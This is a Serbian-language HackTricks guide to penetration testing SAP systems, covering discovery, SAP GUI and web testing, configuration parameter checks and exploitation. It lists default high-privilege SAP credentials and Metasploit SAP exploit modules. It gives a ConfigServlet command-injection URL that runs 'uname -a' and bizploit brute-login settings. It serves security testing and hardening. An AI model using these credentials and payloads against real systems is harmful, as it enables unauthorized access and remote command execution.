hacktricks/network-services-pentesting/pentesting-sap.md

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Uvod o SAP-u

SAP označava Sistemske Aplikacije i Proizvode u Obradi Podataka. SAP, po definiciji, je takođe naziv ERP Planiranje Resursa Preduzeća softvera kao i naziv kompanije. SAP sistem se sastoji od niza potpuno integrisanih modula, koji pokrivaju gotovo svaki aspekt upravljanja poslovanjem.

Svaka SAP instanca ili SID se sastoji od tri sloja: baze podataka, aplikacije i prezentacije), svaki pejzaž obično se sastoji od četiri instance: dev, test, QA i produkcija. Svaki od slojeva može biti iskorišćen do određene mere, ali se najveći efekat može postići napadom na bazu podataka.

Svaka SAP instanca je podeljena na klijente. Svaki od njih ima korisnika SAP*, ekvivalent aplikacije za “root”. Pri inicijalnom kreiranju, ovaj korisnik SAP* dobija podrazumevanu lozinku: “060719992” više podrazumevanih lozinki u nastavku. Iznenadili biste se kada biste znali koliko često se ove lozinke ne menjaju u test ili dev okruženjima!

Pokušajte da dobijete pristup shell-u bilo kog servera koristeći korisničko ime <SID>adm. Bruteforcing može pomoći, međutim može postojati mehanizam za zaključavanje naloga.

Otkriće

Sledeći deo je uglavnom iz https://github.com/shipcod3/mySapAdventures od korisnika shipcod3!

• Proverite Opseg Aplikacije ili Kratak Program za testiranje. Zabeležite imena hostova ili sistemske instance za povezivanje sa SAP GUI.
• Koristite OSINT otvorena obaveštajna sredstva, Shodan i Google Dorks da proverite datoteke, poddomene i sočne informacije ako je aplikacija dostupna na internetu ili javna:

inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine

• Ovako izgleda http://SAP:50000/irj/portal

• Koristite nmap za proveru otvorenih portova i poznatih usluga sap ruteri, webdnypro, web usluge, web serveri, itd.
• Istražite URL-ove ako postoji web server.
• Fuzzujte direktorijume možete koristiti Burp Intruder ako ima web servere na određenim portovima. Evo nekoliko dobrih lista reči koje je obezbedio SecLists Project za pronalaženje podrazumevanih SAP ICM putanja i drugih interesantnih direktorijuma ili datoteka:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt

• Koristite SAP SERVICE DISCOVERY pomoćni Metasploit modul za enumeraciju SAP instanci/usluga/komponenti:

msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS                        yes       The target address range or CIDR identifier
THREADS      1                yes       The number of concurrent threads
TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'

Testing the Thick Client / SAP GUI

Here is the command to connect to SAP GUI
sapgui <sap server hostname> <system number>

• Proverite podrazumevane akreditive U Bugcrowd-ovoj Taksonomiji Ocene Ranljivosti, ovo se smatra P1 -> Server Security Misconfiguration \| Using Default Credentials \| Production Server:

# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001

• Pokrenite Wireshark, a zatim se autentifikujte na klijenta SAP GUI koristeći kredencijale koje ste dobili, jer neki klijenti prenose kredencijale bez SSL-a. Postoje dva poznata dodatka za Wireshark koja mogu analizirati glavne zaglavlja koja koristi SAP DIAG protokol: SecureAuth Labs SAP dissection plug-in i SAP DIAG plugin by Positive Research Center.
• Proverite za eskalacije privilegija kao što su korišćenje nekih SAP Transaction Codes tcodes za korisnike sa niskim privilegijama:
• SU01 - Za kreiranje i održavanje korisnika
• SU01D - Za prikazivanje korisnika
• SU10 - Za masovno održavanje
• SU02 - Za ručno kreiranje profila
• SM19 - Bezbednosna revizija - konfiguracija
• SE84 - Informacioni sistem za SAP R/3 autorizacije
• Proverite da li možete izvršavati sistemske komande / pokretati skripte u klijentu.
• Proverite da li možete uraditi XSS na BAPI Explorer

Testiranje web interfejsa

• Istražite URL-ove vidi fazu otkrivanja.
• Fuzz-ujte URL-ove kao u fazi otkrivanja. Ovako izgleda http://SAP:50000/index.html:

• Potražite uobičajene web ranjivosti Pogledajte OWASP Top 10 jer postoje XSS, RCE, XXE, itd. ranjivosti na nekim mestima.
• Pogledajte metodologiju Jasona Haddixa “The Bug Hunters Methodology” za testiranje web ranjivosti.
• Auth Bypass putem manipulacije verbom? Možda :)
• Otvorite http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#, zatim pritisnite dugme “Choose” i u otvorenom prozoru pritisnite “Search”. Trebalo bi da možete da vidite listu SAP korisnika Referenca ranjivosti: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
• Da li su kredencijali poslati preko HTTP-a? Ako jeste, smatra se P3 prema Bugcrowd-ovoj Vulnerability Rating Taxonomy: Slomljena autentifikacija i upravljanje sesijama | Slaba funkcija prijavljivanja preko HTTP-a. Savet: Pogledajte i http://SAP:50000/startPage ili portale za prijavu :)

• Pokušajte /irj/go/km/navigation/ za moguću listu direktorijuma ili zaobiđanje autentifikacije
• http://SAP/sap/public/info sadrži neke sočne informacije:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Konfiguracioni Parametri

Ako imate tačne podatke za prijavu tokom pentest-a ili ste uspeli da se prijavite na SAP GUI koristeći osnovne akreditive, možete proveriti vrednosti parametara. Mnoge osnovne i prilagođene vrednosti konfiguracionih parametara se smatraju ranjivostima.

Možete proveriti vrednosti parametara kako ručno, tako i automatski, koristeći skripte (npr. SAP Parameter Validator).

Ručna Provera Parametara

Navigacijom do Transakcijskog Koda RSPFPAR, možete upititi različite parametre i potražiti njihove vrednosti.

Tabela ispod sadrži definisane parametre i uslove po kojima su razlikovani.

Na primer, ako je gw/reg_no_conn_info postavljen na manje od 255 (<255), onda bi to trebalo smatrati pretnjom. Slično, ako je icm/security_log jednak dva (2), to će takođe biti moguća pretnja.

Parametar	Ograničenje	Opis
auth/object_disabling_active	Y	Ukazuje da li je onemogućavanje objekta aktivno.
auth/rfc_authority_check	<2	Postavlja nivo provere ovlašćenja za RFC-ove.
auth/no_check_in_some_cases	Y	Precizira da li se provere zaobilaze u nekim slučajevima.
bdc/bdel_auth_check	FALSE	Određuje da li se provere ovlašćenja sprovode u BDC-u.
gw/reg_no_conn_info	<255	Ograničava broj karaktera za informacije o registracionom broju veze.
icm/security_log	2	Definiše nivo sigurnosnog loga za ICM (Internet Communication Manager).
icm/server_port_0	Display	Precizira port servera za ICM (port 0).
icm/server_port_1	Display	Precizira port servera za ICM (port 1).
icm/server_port_2	Display	Precizira port servera za ICM (port 2).
login/password_compliance_to_current_policy	0	Sprovodi usklađenost lozinki sa trenutnom politikom.
login/no_automatic_user_sapstar	0	Onemogućava automatsku dodelu korisnika SAPSTAR.
login/min_password_specials	0	Minimalan broj specijalnih karaktera zahtevan u lozinkama.
login/min_password_lng	<8	Minimalna dužina zahtevana za lozinke.
login/min_password_lowercase	0	Minimalan broj malih slova zahtevan u lozinkama.
login/min_password_uppercase	0	Minimalan broj velikih slova zahtevan u lozinkama.
login/min_password_digits	0	Minimalan broj cifara zahtevan u lozinkama.
login/min_password_letters	1	Minimalan broj slova zahtevan u lozinkama.
login/fails_to_user_lock	<5	Broj neuspelih pokušaja prijave pre zaključavanja korisničkog naloga.
login/password_expiration_time	>90	Vreme isteka lozinke u danima.
login/password_max_idle_initial	<14	Maksimalno vreme neaktivnosti u minutima pre nego što se zahteva ponovna prijava lozinke (početno).
login/password_max_idle_productive	<180	Maksimalno vreme neaktivnosti u minutima pre nego što se zahteva ponovna prijava lozinke (produktivno).
login/password_downwards_compatibility	0	Precizira da li je omogućena unazadna kompatibilnost za lozinke.
rfc/reject_expired_passwd	0	Određuje da li se odbacuju istekle lozinke za RFC (Remote Function Calls).
rsau/enable	0	Omogućava ili onemogućava RS AU (Authorization) provere.
rdisp/gui_auto_logout	<5	Precizira vreme u minutima pre automatskog odjavljivanja GUI sesija.
service/protectedwebmethods	SDEFAULT	Precizira podrazumevane postavke za zaštićene web metode.
snc/enable	0	Omogućava ili onemogućava Secure Network Communication (SNC).
ucon/rfc/active	0	Aktivira ili deaktivira UCON (Unified Connectivity) RFC-ove.

Skripta za Proveru Parametara

Zbog broja parametara, takođe je moguće eksportovati sve njih u .XML datoteku i koristiti skriptu SAPPV (SAP Parameter Validator), koja će proveriti sve gore pomenute parametre i ispisati njihove vrednosti sa odgovarajućim razlikovanjem.

./SAPPV.sh EXPORT.XML

Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"

Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"

Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"

Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"

[...]

Napad!

• Proverite da li radi na starim serverima ili tehnologijama kao što je Windows 2000.
• Planirajte moguće eksploate / napade, postoji mnogo Metasploit modula za SAP otkrivanje auxiliary modules i eksploate:

msf > search sap
Matching Modules
================
Name                                                                     Disclosure Date  Rank       Description
----                                                                     ---------------  ----       -----------
auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow

• Pokušajte da koristite neke poznate eksploite pogledajte Exploit-DB ili napade poput starog, ali dobrog “SAP ConfigServlet Remote Code Execution” u SAP Portalu:

http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

• Pre pokretanja start komande na bizploit skripti u fazi otkrivanja, možete takođe dodati sledeće za izvođenje procene ranjivosti:

bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start

Ostali korisni alati za testiranje

• PowerSAP - Powershell alat za procenu SAP bezbednosti
• Burp Suite - neophodan za direktorijumsko fuzzing i procene web bezbednosti
• pysap - Python biblioteka za kreiranje SAP mrežnih protokol paketa
• https://github.com/gelim/nmap-erpscan - Pomaže nmap-u da detektuje SAP/ERP

Reference

• SAP Penetration Testing Using Metasploit
• https://github.com/davehardy20/SAP-Stuff - skripta za polu-automatizaciju Bizploit-a
• SAP NetWeaver ABAP bezbednosna konfiguracija deo 3: Podrazumevane lozinke za pristup aplikaciji
• Lista ABAP-transakcijskih kodova povezanih sa SAP bezbednošću
• Hacking SAP Portala
• Top 10 najzanimljivijih SAP ranjivosti i napada
• Procena bezbednosti SAP ekosistema sa bizploit-om: Otkriće
• https://www.exploit-db.com/docs/43859
• https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/
• https://github.com/shipcod3/mySapAdventures

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Podrška HackTricks

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